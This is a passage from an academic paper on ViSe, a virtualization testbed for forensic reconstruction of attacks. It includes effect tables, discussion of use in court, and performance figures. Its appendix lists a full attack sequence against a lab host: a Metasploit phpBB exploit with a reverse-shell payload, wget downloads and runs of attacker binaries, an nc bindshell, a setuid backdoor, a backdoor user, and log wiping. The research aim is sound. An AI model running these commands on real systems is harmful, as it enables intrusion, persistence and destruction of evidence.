V F /var/lib/mysql/mysql/phpbb_sessions.MYD M
V F /var/lib/mysql/mysql/phpbb_topics.MYI M
V F /var/lib/mysql/mysql/phpbb_topics.MYD M
V F /etc/cups/certs/0 M
T I WEB-PHP viewtopic.php access: Attacker to Victim:80 C
T I (http inspect) DOUBLE DECODING ATTACK: Attacker to Victim:80 C
T N TCP Connection Established: Attacker to Victim:4321 C
T I ATTACK-RESPONSES id check returned userid: Victim:4321 to Attacker C

Table 3 Effects of Event 3

Host Type Name Action

V F /root/.bash_history M
V F /tmp/httpd C
V F /var/log/wtmp M
V F /var/log/lastlog M
V F /var/log/messages M
V F /var/log/httpd/error_log M
V F /var/run/utmp M
V F /etc/cups/certs/0 M
T N File httpd Downloaded: Victim to Attacker:80 C
T N TCP connection terminated: attacker to victim:4321 C
T N TCP connection established: attacker to victim:12497 C

Table 4 Effects of Event 4

Host Type Name Action

V F /tmp/iwconfig C
V F /tmp/progs C
V F /etc/cups/certs/0 M
T N File iwconfig downloaded: attacker:80 to victim C
T I ATTACK-RESPONSES id check returned root: victim:12497 to Attacker C
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Table 5 Effects of Event 5

Host Type Name Action

V F /etc/shadow- M
V F /etc/gshadow- M
V F /etc/gshadow M
V F /etc/group M
V F /etc/group- M
V F /etc/shadow M
V F /etc/passwd M
V F /var/log/messages M
V F /var/log/secure M
V F /usr/bin/] C
V F /home/bash/.* C
T N File ] downloaded: attacker:80 to victim C
T N TCP connection terminated: attacker to victim:12497 C

Table 6 Effects of Event 6

Host Type Name Action

V F /tmp/* D
V F /var/log/* D
V F /var/run/utmp M
V F /etc/cups/certs/0 M
T N SSH connection established: attacker to victim:22 C

Fig. 7 New Hypothesis for a
multi-step attack

Note that there is always a possibility that we have
erroneously rejected the hypothesis (i.e., a type II error).
Such an error can be caused by misconfigurations in
the testbed or in the reconstruction experiment itself. It
can also be caused by the use of anti-forensic tools that
successfully causes the forensic tools used to produce
erroneous results.

The advantage of ViSe becomes apparent when we
consider the similarities of our previous hypothesis to
the new hypothesis proposed above. By running the new
attack from the snapshot of State 3, we create the new
states 4a, 5a, and 6a, which we can compare to the orig-
inal evidence to determine similarity.

7 Discussion

In this section, we discuss some aspects related to the
use of ViSe and VMware as part of a digital forensic
reconstruction. Central to the discussion is the trade-off
between the detail of reconstruction and the difficulty
of performing a reconstruction. We discuss what type of
attacks ViSe is suitable for and give examples of some

cases where other approaches might be more suitable. In
addition, we consider some performance issues related
to using ViSe for event reconstruction.

7.1 Presenting a real case in court

The proposed approach is intended to be a part of a
digital investigation. The approach does not replace con-
ventional digital forensics, but supplements the foren-
sic investigation by providing a methodology to find
additional support for hypotheses about a digital crime
scene. In court, the results of a digital forensic recon-
struction can be used to provide additional support or
to refute a particular chain of events. An investigator will
take the proofs acquired from the digital crime scene and
present them in court. The results of the reconstruction
are then used to support or refute an interpretation of
the evidence (i.e. a hypothesis).

In a real case, it is essential to place the reconstruc-
tion in the context of the crime and to present a thorough
explanation of the assumptions made in the reconstruc-
tion. The initial state of the reconstruction, as hypothe-
sized in H1, can only be an approximation of the
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digital crime scene, and a good courtroom defense
lawyer will exploit any unexplained discrepancies.
Furthermore, a reconstruction must take into consider-
ation malware and anti-forensic tools and explain what
consequences such tools can have on the digital evi-
dence and on the reconstruction itself. Specifically, it is
important to consider the fact that such tools can be the
cause of type II errors, possibly allowing a case against
a knowledgeable attacker to be dismissed.

7.2 Timing and complexity issues

We have demonstrated how ViSe can be used as part of a
reconstruction through two scenarios involving the Tro-
jan defense and a multi-step attack involving an attacker
host, a victim host, and a third party host. There are,
however, cases where the use of ViSe and the event-
based reconstruction approach is less suitable.

Some computer attacks exploit timing issues, such
as race conditions, and may be difficult or impossible
to recreate in a virtual environment. Also, distributed
events are not necessarily synchronized, and the order
of events may be non-deterministic. In the worst case, a
reconstruction may be impossible because of such tim-
ing issues, or the reconstruction may have to be run on
a physical testbed.

Another class of attacks that can be difficult to replay
in a virtual testbed is attacks that depend on specific
network conditions or involve a large number of hosts.
An example of such an attack is a DDoS (Distributed
Denial-of-Service) attack, where thousands of hosts may
be involved in the attack of one or more victim hosts.
Large-scale worm infection is another example that
involves a large number of hosts, acting both as victims
and attackers. In such cases, it may be more fruitful to
study the attack through models or simulations, as was
done in [19].

7.3 Performance issues

As discussed in Sect. 4, the main performance advan-
tage of using ViSe is that snapshots of different sys-
tem states are efficiently saved and restored. ViSe also
provides a library of reusable snapshots with different
operating systems, vulnerabilities, and exploits. This sig-
nificantly reduces the time for setting up a virtual envi-
ronment for reconstruction, and it facilitates the reuse
of snapshots for testing multiple hypotheses. Different
variations of an attack can be analyzed as a tree with
different branches of analysis. All of the states in the tree
are stored and can consequently be restored in recon-
structions related to other investigations. In this way, the

Table 7 Performance comparisons

Pentium 4 VMware

Boot time 1m9s 2m
Reboot time 1m22ss 2m20s
Take snapshot NA 8s
Restore state NA 9s
Clone full image (7.6GB) NA 8m6s
Copy partition image (dcfldd) 11m21s 48m46s
Hash all files in image (sha256deep) 3m56s 26m38s
Extract all strings from image 6m57s 118m47s

(strings)

focus of the testing is moved from setting up and config-
uring a testbed to the actual digital forensic analysis.

We have compiled a list of some performance mea-
surements for Fedora Core 3 in Table 7. The measure-
ments are performed on a 10 GB disk image containing
an ext3 partition, using the time measurement tool
where applicable. The boot and reboot measurements
were performed without a graphical user interface. We
can see from the table that there is a relatively large
performance penalty related to some common digital
forensic operations, such as string extraction. The per-
formance benefits of using ViSe are in the replay of the
attack, not in the analysis of the results. Therefore, we
recommend that the ViSe testbed only be used for image
acquisition and verification, as well as for the actual
replay of the attack. The forensic analysis (i.e., compar-
ing the different states related to an attack) should be
performed on an external system.

8 Conclusions and future work

We have shown how ViSe provides an environment for
efficient event reconstruction and testing through reus-
able snapshots representing different states of an attack.
ViSe provides a framework with a library of operating
systems, vulnerable services, and exploits, providing a
controlled and efficient testbed for digital forensic test-
ing. The attack is replayed in the virtualization testbed
and analyzed with respect to an initial hypothesis. As
ViSe’s library of operating systems, services, and exploits
grows, the time to construct a virtual environment corre-
sponding to a digital crime scene decreases. Therefore,
the focus of the event reconstruction testing is moved
from setting up and running an attack to the analysis of
its effects. Although VMware supports a wide range of
operating systems, there is no support for emulation of
embedded systems such as cell phones and PDAs. An
extension of ViSe to include digital event reconstruction
on embedded systems is a topic for future research.
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As outlined in Sect. 2.3, the problem of automated
forensics of both live and already compromised systems
has been investigated in several contexts. The work pub-
lished in this paper complements many of the proposed
solutions for automated forensic analysis, and it would
be interesting to integrate some of these approaches
with our work. Of particular importance are the prob-
lem of generating relevant hypotheses before perform-
ing the reconstruction experiments and the problem of
performing automated comparison of the results with
the digital evidence. Automating these tasks would dra-
matically increase the efficiency and usability of per-
forming reconstruction experiments in ViSe.

In court, a reconstruction will be subject to thorough
questioning. It is essential to convince a court that the
testing is forensically sound and that it is relevant to
the original digital crime scene. Although a reconstruc-
tion can neither prove a hypothesis with absolute cer-
tainty, nor exclude the correctness of other hypotheses, a
standardized environment, such as ViSe, combined with
event reconstruction and testing, can lend credibility to
an investigation and be a great asset in court. Future
work on understanding the effects of anti-forensic tools
on a reconstruction will add value to the approach.
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Attack Details

This appendix contains the specific commands used in the multi-
step attack. The ViSe IP addresses are 128.111.48.125 (detector),
128.111.48.131 (attack host), and 128.111.48.118 (vulnerable host).

#Event 1: Network, ping and webserver scan
nmap -sP 128.111.48.1-255 > ping ; cat ping
nmap 128.111.48.118 > 118 ; cat 118
links 128.111.48.118/phpBB2/
#Event 2: Run vulnerable phpBB attack using Metasploit
./msfconsole
>show exploits
>use phpbb_highlight
>show
>show targets
>set TARGET 0
>show payloads
>set PAYLOAD cmd_unix_reverse
>show options

>set RHOST 128.111.48.118
>set PHPBB_ROOT /phpBB2
>set LHOST 128.111.48.131
>check
>exploit
#Event 3: Run vulnerable phpBB attack
id
cd /tmp; wget 128.111.48.131/httpd
chmod 700 ./httpd
./httpd
quit
#Event 4: Connect to bindshell and exploit iwconfig
nc 128.111.48.118 12497 -vv
find / -user root -perm -4000 -print 2> /dev/null
>progs cat progs
/sbin/iwconfig -v
wget 128.111.48.131/iwconfig
chmod 700 iwconfig; /iwconfig
whoami
#Event 5: Create a user bash and install a setuid
backdoor
/usr/sbin/adduser bash
passwd bash
wget 128.111.48.131/]
chmod 4755 ] ; mv ] /usr/bin
#Event 6: Clear logs and backdoor tracks
ssh bash@128.111.48.118
/usr/bin/]
ps -ef | grep apache
kill <pid> #kill backdoors pids
rm -rf /tmp/*; rm -rf /var/log/*
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